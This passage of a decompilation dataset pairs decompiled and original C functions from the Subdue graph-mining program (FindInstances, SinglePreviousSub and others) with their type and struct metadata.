label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *" ], [ "outputLevel", "unsigned long" ], [ "currentIncrement", "unsigned long" ], [ "startVertexIndex", "unsigned long" ] ], "return_type": "struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *", "user_defined_types": [ "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct SubList { struct _sub_list_node *head; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct InstanceList { struct _instance_list_node *head; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }" ], "binary_hash": "166bb846a3b60507021e8a8c2ab9359a72b696ce5cbb63899fb343395646101e" }, { "name": "SinglePreviousSub", "canonical_name": "func2", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall SinglePreviousSub(__int64 a1, __int64 a2)\n{\nunsigned __int8 v3; // [rsp+1Fh] [rbp-1h]\n\nv3 = 0;\nif ( **(_QWORD **)a1 == 1LL && SubLabelNumber(**(_QWORD **)(*(_QWORD *)a1 + 16LL), *(_QWORD *)(a2 + 1600)) )\nv3 = 1;\nreturn v3;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(__int64 a1, __int64 a2)\n{\nunsigned __int8 v3; // [rsp+1Fh] [rbp-1h]\n\nv3 = 0;\nif ( **(_QWORD **)a1 == 1LL && SubLabelNumber(**(_QWORD **)(*(_QWORD *)a1 + 16LL), *(_QWORD *)(a2 + 1600)) )\nv3 = 1;\nreturn v3;\n}", "original_code": "BOOLEAN SinglePreviousSub(Substructure *sub, Parameters *parameters)\n{\n BOOLEAN match;\n LabelList *labelList = parameters->labelList;\n match = 0;\n if ((sub->definition->numVertices == 1) &&\n (SubLabelNumber (sub->definition->vertices[0].label, labelList) > 0))\n match = 1;\n return match;\n}", "canonical_original_code": "unsigned char SinglePreviousSub(struct Substructure *sub, struct Parameters *parameters)\n{\n unsigned char match;\n struct LabelList *labelList = parameters->labelList;\n match = 0;\n if ((sub->definition->numVertices == 1) &&\n (SubLabelNumber (sub->definition->vertices[0].label, labelList) > 0))\n match = 1;\n return match;\n}", "variable_types": [ [ "sub", "struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "match", "unsigned char" ], [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *" ] ], "return_type": "unsigned char", "user_defined_types": [ "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct SubList { struct _sub_list_node *head; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }" ], "binary_hash": "166bb846a3b60507021e8a8c2ab9359a72b696ce5cbb63899fb343395646101e" } ]
2cdc6617b00752edfc69df701191d7fce041c55bf872f71a912b9e0f95b0804e
gromgull/subdue
[ [ "FindInstances", "->", "FindSingleVertexInstances", "ExtendInstancesByEdge", "FilterInstances" ], [ "FindSingleVertexInstances", "->", "FindInstances" ], [ "ExtendInstancesByEdge", "->", "FindInstances", "EdgesMatch" ], [ "EdgesMatch", "->", "ExtendInstancesByEdge" ], [ "FilterInstances", "->", "FindInstances" ] ]
[]
[ { "name": "FindInstances", "canonical_name": "func0", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall FindInstances(size_t *a1, __int64 a2, __int64 a3)\n{\n__int64 v5; // [rsp+20h] [rbp-40h]\n_BYTE *ptr; // [rsp+28h] [rbp-38h]\nchar v7; // [rsp+36h] [rbp-2Ah]\nbool v8; // [rsp+37h] [rbp-29h]\n_QWORD *v9; // [rsp+38h] [rbp-28h]\n__int64 v10; // [rsp+40h] [rbp-20h]\nunsigned __int64 j; // [rsp+48h] [rbp-18h]\nsize_t m; // [rsp+48h] [rbp-18h]\nsize_t i; // [rsp+50h] [rbp-10h]\nsize_t v14; // [rsp+50h] [rbp-10h]\nsize_t l; // [rsp+50h] [rbp-10h]\nsize_t k; // [rsp+58h] [rbp-8h]\n\nptr = malloc(*a1);\nif ( !ptr )\nOutOfMemoryError(\"FindInstances:reached\");\nfor ( i = 0LL; i < *a1; ++i )\nptr[i] = 0;\nv14 = 0LL;\n*ptr = 1;\nv10 = a1[2];\nv9 = (_QWORD *)FindSingleVertexInstances(a2, v10, a3);\nv8 = *v9 == 0LL;\nwhile ( v10 && !v8 )\n{\n*(_BYTE *)(v10 + 32) = 1;\nfor ( j = 0LL; j < *(_QWORD *)(v10 + 8) && !v8; ++j )\n{\nv5 = a1[3] + 32LL * *(_QWORD *)(*(_QWORD *)(a1[2] + 40 * v14 + 16) + 8 * j);\nif ( !*(_BYTE *)(v5 + 25) )\n{\nptr[*(_QWORD *)v5] = 1;\nptr[*(_QWORD *)(v5 + 8)] = 1;\nv9 = (_QWORD *)ExtendInstancesByEdge(v9, a1, v5, a2, a3);\nif ( !*v9 )\nv8 = 1;\n*(_BYTE *)(v5 + 25) = 1;\n}\n}\nv10 = 0LL;\nv7 = 0;\nfor ( k = 0LL; k < *a1 && !v7; ++k )\n{\nif ( !*(_BYTE *)(a1[2] + 40 * k + 32) && ptr[k] )\n{\nv14 = k;\nv10 = a1[2] + 40 * k;\nv7 = 1;\n}\n}\n}\nfree(ptr);\nfor ( l = 0LL; l < *a1; ++l )\n*(_BYTE *)(a1[2] + 40 * l + 32) = 0;\nfor ( m = 0LL; m < a1[1]; ++m )\n*(_BYTE *)(a1[3] + 32 * m + 25) = 0;\nreturn FilterInstances(a1, v9, a2, a3);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(size_t *a1, __int64 a2, __int64 a3)\n{\n__int64 v5; // [rsp+20h] [rbp-40h]\n_BYTE *ptr; // [rsp+28h] [rbp-38h]\nchar v7; // [rsp+36h] [rbp-2Ah]\nbool v8; // [rsp+37h] [rbp-29h]\n_QWORD *v9; // [rsp+38h] [rbp-28h]\n__int64 v10; // [rsp+40h] [rbp-20h]\nunsigned __int64 j; // [rsp+48h] [rbp-18h]\nsize_t m; // [rsp+48h] [rbp-18h]\nsize_t i; // [rsp+50h] [rbp-10h]\nsize_t v14; // [rsp+50h] [rbp-10h]\nsize_t l; // [rsp+50h] [rbp-10h]\nsize_t k; // [rsp+58h] [rbp-8h]\n\nptr = malloc(*a1);\nif ( !ptr )\nOutOfMemoryError(\"FindInstances:reached\");\nfor ( i = 0LL; i < *a1; ++i )\nptr[i] = 0;\nv14 = 0LL;\n*ptr = 1;\nv10 = a1[2];\nv9 = (_QWORD *)func1(a2, v10, a3);\nv8 = *v9 == 0LL;\nwhile ( v10 && !v8 )\n{\n*(_BYTE *)(v10 + 32) = 1;\nfor ( j = 0LL; j < *(_QWORD *)(v10 + 8) && !v8; ++j )\n{\nv5 = a1[3] + 32LL * *(_QWORD *)(*(_QWORD *)(a1[2] + 40 * v14 + 16) + 8 * j);\nif ( !*(_BYTE *)(v5 + 25) )\n{\nptr[*(_QWORD *)v5] = 1;\nptr[*(_QWORD *)(v5 + 8)] = 1;\nv9 = (_QWORD *)func2(v9, a1, v5, a2, a3);\nif ( !*v9 )\nv8 = 1;\n*(_BYTE *)(v5 + 25) = 1;\n}\n}\nv10 = 0LL;\nv7 = 0;\nfor ( k = 0LL; k < *a1 && !v7; ++k )\n{\nif ( !*(_BYTE *)(a1[2] + 40 * k + 32) && ptr[k] )\n{\nv14 = k;\nv10 = a1[2] + 40 * k;\nv7 = 1;\n}\n}\n}\nfree(ptr);\nfor ( l = 0LL; l < *a1; ++l )\n*(_BYTE *)(a1[2] + 40 * l + 32) = 0;\nfor ( m = 0LL; m < a1[1]; ++m )\n*(_BYTE *)(a1[3] + 32 * m + 25) = 0;\nreturn func4(a1, v9, a2, a3);\n}", "original_code": "InstanceList *FindInstances(Graph *g1, Graph *g2, Parameters *parameters)\n{\n ULONG v;\n ULONG v1;\n ULONG e1;\n Vertex *vertex1;\n Edge *edge1;\n InstanceList *instanceList;\n BOOLEAN *reached;\n BOOLEAN noMatches;\n BOOLEAN found;\n reached = (BOOLEAN *) malloc(sizeof(BOOLEAN) * g1->numVertices);\n if (reached == ((void *)0))\n OutOfMemoryError(\"FindInstances:reached\");\n for (v1 = 0; v1 < g1->numVertices; v1++)\n reached[v1] = 0;\n v1 = 0;\n reached[v1] = 1;\n vertex1 = & g1->vertices[v1];\n instanceList = FindSingleVertexInstances(g2, vertex1, parameters);\n noMatches = 0;\n if (instanceList->head == ((void *)0))\n noMatches = 1;\n while ((vertex1 != ((void *)0)) && (! noMatches))\n {\n vertex1->used = 1;\n for (e1 = 0; ((e1 < vertex1->numEdges) && (! noMatches)); e1++)\n {\n edge1 = & g1->edges[g1->vertices[v1].edges[e1]];\n if (! edge1->used)\n {\n reached[edge1->vertex1] = 1;\n reached[edge1->vertex2] = 1;\n instanceList =\n ExtendInstancesByEdge(instanceList, g1, edge1, g2, parameters);\n if (instanceList->head == ((void *)0))\n noMatches = 1;\n edge1->used = 1;\n }\n }\n vertex1 = ((void *)0);\n found = 0;\n for (v = 0; ((v < g1->numVertices) && (! found)); v++)\n {\n if ((! g1->vertices[v].used) && (reached[v]))\n {\n v1 = v;\n vertex1 = & g1->vertices[v1];\n found = 1;\n }\n }\n }\n free(reached);\n for (v1 = 0; v1 < g1->numVertices; v1++)\n g1->vertices[v1].used = 0;\n for (e1 = 0; e1 < g1->numEdges; e1++)\n g1->edges[e1].used = 0;\n instanceList = FilterInstances(g1, instanceList, g2, parameters);\n return instanceList;\n}", "canonical_original_code": "struct InstanceList *FindInstances(struct Graph *g1, struct Graph *g2, struct Parameters *parameters)\n{\n unsigned long v;\n unsigned long v1;\n unsigned long e1;\n struct Vertex *vertex1;\n struct Edge *edge1;\n struct InstanceList *instanceList;\n unsigned char *reached;\n unsigned char noMatches;\n unsigned char found;\n reached = (unsigned char *) malloc(sizeof(BOOLEAN) * g1->numVertices);\n if (reached == ((void *)0))\n OutOfMemoryError(\"FindInstances:reached\");\n for (v1 = 0; v1 < g1->numVertices; v1++)\n reached[v1] = 0;\n v1 = 0;\n reached[v1] = 1;\n vertex1 = & g1->vertices[v1];\n instanceList = FindSingleVertexInstances(g2, vertex1, parameters);\n noMatches = 0;\n if (instanceList->head == ((void *)0))\n noMatches = 1;\n while ((vertex1 != ((void *)0)) && (! noMatches))\n {\n vertex1->used = 1;\n for (e1 = 0; ((e1 < vertex1->numEdges) && (! noMatches)); e1++)\n {\n edge1 = & g1->edges[g1->vertices[v1].edges[e1]];\n if (! edge1->used)\n {\n reached[edge1->vertex1] = 1;\n reached[edge1->vertex2] = 1;\n instanceList =\n ExtendInstancesByEdge(instanceList, g1, edge1, g2, parameters);\n if (instanceList->head == ((void *)0))\n noMatches = 1;\n edge1->used = 1;\n }\n }\n vertex1 = ((void *)0);\n found = 0;\n for (v = 0; ((v < g1->numVertices) && (! found)); v++)\n {\n if ((! g1->vertices[v].used) && (reached[v]))\n {\n v1 = v;\n vertex1 = & g1->vertices[v1];\n found = 1;\n }\n }\n }\n free(reached);\n for (v1 = 0; v1 < g1->numVertices; v1++)\n g1->vertices[v1].used = 0;\n for (e1 = 0; e1 < g1->numEdges; e1++)\n g1->edges[e1].used = 0;\n instanceList = FilterInstances(g1, instanceList, g2, parameters);\n return instanceList;\n}", "variable_types": [ [ "g1", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "g2", "struct Graph *" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "v", "unsigned long" ], [ "v1", "unsigned long" ], [ "e1", "unsigned long" ], [ "vertex1", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *" ], [ "edge1", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *" ], [ "instanceList", "struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *" ], [ "reached", "unsigned char *" ], [ "noMatches", "unsigned char" ], [ "found", "unsigned char" ] ], "return_type": "struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *", "user_defined_types": [ "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct InstanceList { struct _instance_list_node *head; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct SubList { struct _sub_list_node *head; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }" ], "binary_hash": "2cdc6617b00752edfc69df701191d7fce041c55bf872f71a912b9e0f95b0804e" }, { "name": "FindSingleVertexInstances", "canonical_name": "func1", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall FindSingleVertexInstances(unsigned __int64 *a1, _QWORD *a2)\n{\n__int64 v3; // [rsp+28h] [rbp-18h]\n__int64 v4; // [rsp+30h] [rbp-10h]\nunsigned __int64 i; // [rsp+38h] [rbp-8h]\n\nv4 = AllocateInstanceList();\nfor ( i = 0LL; i < *a1; ++i )\n{\nif ( *(_QWORD *)(a1[2] + 40 * i) == *a2 )\n{\nv3 = AllocateInstance(1LL, 0LL);\n**(_QWORD **)(v3 + 16) = i;\n*(_QWORD *)(v3 + 32) = 